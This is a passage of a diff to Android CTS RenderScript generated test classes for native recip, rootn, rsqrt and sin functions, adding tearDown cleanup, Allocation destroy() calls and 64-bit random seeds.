             verifyResultsNativeRecipFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRecipFloat2Float2(inV, out);
             verifyResultsNativeRecipFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRecipFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeRecipFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x5ff06b3bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd1ee38bc5ff06b3bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeRecipFloat3Float3(inV, out);
             verifyResultsNativeRecipFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRecipFloat3Float3(inV, out);
             verifyResultsNativeRecipFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRecipFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeRecipFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x560b8c19l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd1f001d7560b8c19l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeRecipFloat4Float4(inV, out);
             verifyResultsNativeRecipFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRecipFloat4Float4(inV, out);
             verifyResultsNativeRecipFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRecipFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeRecipHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xee148533l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x69ca28a8ee148533l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeRecipHalfHalf(inV, out);
             verifyResultsNativeRecipHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRecipHalfHalf(inV, out);
             verifyResultsNativeRecipHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRecipHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeRecipHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x396d1b7dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x151ebc03396d1b7dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeRecipHalf2Half2(inV, out);
             verifyResultsNativeRecipHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRecipHalf2Half2(inV, out);
             verifyResultsNativeRecipHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRecipHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeRecipHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9874e071l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x151ec6a49874e071l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeRecipHalf3Half3(inV, out);
             verifyResultsNativeRecipHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRecipHalf3Half3(inV, out);
             verifyResultsNativeRecipHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRecipHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeRecipHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xf77ca565l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x151ed145f77ca565l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeRecipHalf4Half4(inV, out);
             verifyResultsNativeRecipHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRecipHalf4Half4(inV, out);
             verifyResultsNativeRecipHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRecipHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootn.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootn.java
index 8143573..38f66fb 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootn.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootn.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestNativeRootnRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatIntFloat {
         public float inV;
         public int inN;
@@ -44,13 +51,14 @@
     }
 
     private void checkNativeRootnFloatIntFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x237ac0f1l, false);
-        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x237ac0e9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6693fe5c237ac0f1l, false);
+        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x6693fe5c237ac0e9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInN(inN);
             script.forEach_testNativeRootnFloatIntFloat(inV, out);
             verifyResultsNativeRootnFloatIntFloat(inV, inN, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRootnFloatIntFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInN(inN);
             scriptRelaxed.forEach_testNativeRootnFloatIntFloat(inV, out);
             verifyResultsNativeRootnFloatIntFloat(inV, inN, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRootnFloatIntFloat: " + e.toString());
         }
+        inV.destroy();
+        inN.destroy();
     }
 
     private void verifyResultsNativeRootnFloatIntFloat(Allocation inV, Allocation inN, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkNativeRootnFloat2Int2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4afd5bcdl, false);
-        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x4afd5bc5l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x5363e8c04afd5bcdl, false);
+        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x5363e8c04afd5bc5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInN(inN);
             script.forEach_testNativeRootnFloat2Int2Float2(inV, out);
             verifyResultsNativeRootnFloat2Int2Float2(inV, inN, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRootnFloat2Int2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInN(inN);
             scriptRelaxed.forEach_testNativeRootnFloat2Int2Float2(inV, out);
             verifyResultsNativeRootnFloat2Int2Float2(inV, inN, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRootnFloat2Int2Float2: " + e.toString());
         }
+        inV.destroy();
+        inN.destroy();
     }
 
     private void verifyResultsNativeRootnFloat2Int2Float2(Allocation inV, Allocation inN, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkNativeRootnFloat3Int3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x40afc886l, false);
-        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x40afc87el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x791a272340afc886l, false);
+        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x791a272340afc87el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInN(inN);
             script.forEach_testNativeRootnFloat3Int3Float3(inV, out);
             verifyResultsNativeRootnFloat3Int3Float3(inV, inN, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRootnFloat3Int3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInN(inN);
             scriptRelaxed.forEach_testNativeRootnFloat3Int3Float3(inV, out);
             verifyResultsNativeRootnFloat3Int3Float3(inV, inN, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRootnFloat3Int3Float3: " + e.toString());
         }
+        inV.destroy();
+        inN.destroy();
     }
 
     private void verifyResultsNativeRootnFloat3Int3Float3(Allocation inV, Allocation inN, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkNativeRootnFloat4Int4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3662353fl, false);
-        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x36623537l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x9ed065863662353fl, false);
+        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x9ed0658636623537l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInN(inN);
             script.forEach_testNativeRootnFloat4Int4Float4(inV, out);
             verifyResultsNativeRootnFloat4Int4Float4(inV, inN, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRootnFloat4Int4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInN(inN);
             scriptRelaxed.forEach_testNativeRootnFloat4Int4Float4(inV, out);
             verifyResultsNativeRootnFloat4Int4Float4(inV, inN, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRootnFloat4Int4Float4: " + e.toString());
         }
+        inV.destroy();
+        inN.destroy();
     }
 
     private void verifyResultsNativeRootnFloat4Int4Float4(Allocation inV, Allocation inN, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrt.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrt.java
index 9989598b..e2f9cf6 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrt.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrt.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeRsqrtRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeRsqrtFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x795084f6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf3caff6b795084f6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeRsqrtFloatFloat(inV, out);
             verifyResultsNativeRsqrtFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRsqrtFloatFloat(inV, out);
             verifyResultsNativeRsqrtFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRsqrtFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeRsqrtFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xfb0a95aal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd5098485fb0a95aal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeRsqrtFloat2Float2(inV, out);
             verifyResultsNativeRsqrtFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRsqrtFloat2Float2(inV, out);
             verifyResultsNativeRsqrtFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRsqrtFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeRsqrtFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf125b688l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd50b4da0f125b688l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeRsqrtFloat3Float3(inV, out);
             verifyResultsNativeRsqrtFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRsqrtFloat3Float3(inV, out);
             verifyResultsNativeRsqrtFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRsqrtFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeRsqrtFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe740d766l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd50d16bbe740d766l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeRsqrtFloat4Float4(inV, out);
             verifyResultsNativeRsqrtFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRsqrtFloat4Float4(inV, out);
             verifyResultsNativeRsqrtFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRsqrtFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeRsqrtHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3e331e90l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd690914a3e331e90l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeRsqrtHalfHalf(inV, out);
             verifyResultsNativeRsqrtHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRsqrtHalfHalf(inV, out);
             verifyResultsNativeRsqrtHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRsqrtHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeRsqrtHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe66ecc32l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xba28711ee66ecc32l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeRsqrtHalf2Half2(inV, out);
             verifyResultsNativeRsqrtHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRsqrtHalf2Half2(inV, out);
             verifyResultsNativeRsqrtHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRsqrtHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeRsqrtHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x45769126l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xba287bc045769126l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeRsqrtHalf3Half3(inV, out);
             verifyResultsNativeRsqrtHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRsqrtHalf3Half3(inV, out);
             verifyResultsNativeRsqrtHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRsqrtHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeRsqrtHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa47e561al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xba288661a47e561al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeRsqrtHalf4Half4(inV, out);
             verifyResultsNativeRsqrtHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRsqrtHalf4Half4(inV, out);
             verifyResultsNativeRsqrtHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRsqrtHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRsqrtHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSin.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSin.java
index ede56bc..df222bd 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSin.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSin.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeSinRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeSinFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9f3e52c8l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb8fe46da9f3e52c8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeSinFloatFloat(inV, out);
             verifyResultsNativeSinFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinFloatFloat(inV, out);
             verifyResultsNativeSinFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeSinFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xed9e276cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x2468764eed9e276cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeSinFloat2Float2(inV, out);
             verifyResultsNativeSinFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinFloat2Float2(inV, out);
             verifyResultsNativeSinFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeSinFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe3b9484al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x246a3f69e3b9484al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeSinFloat3Float3(inV, out);
             verifyResultsNativeSinFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinFloat3Float3(inV, out);
             verifyResultsNativeSinFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
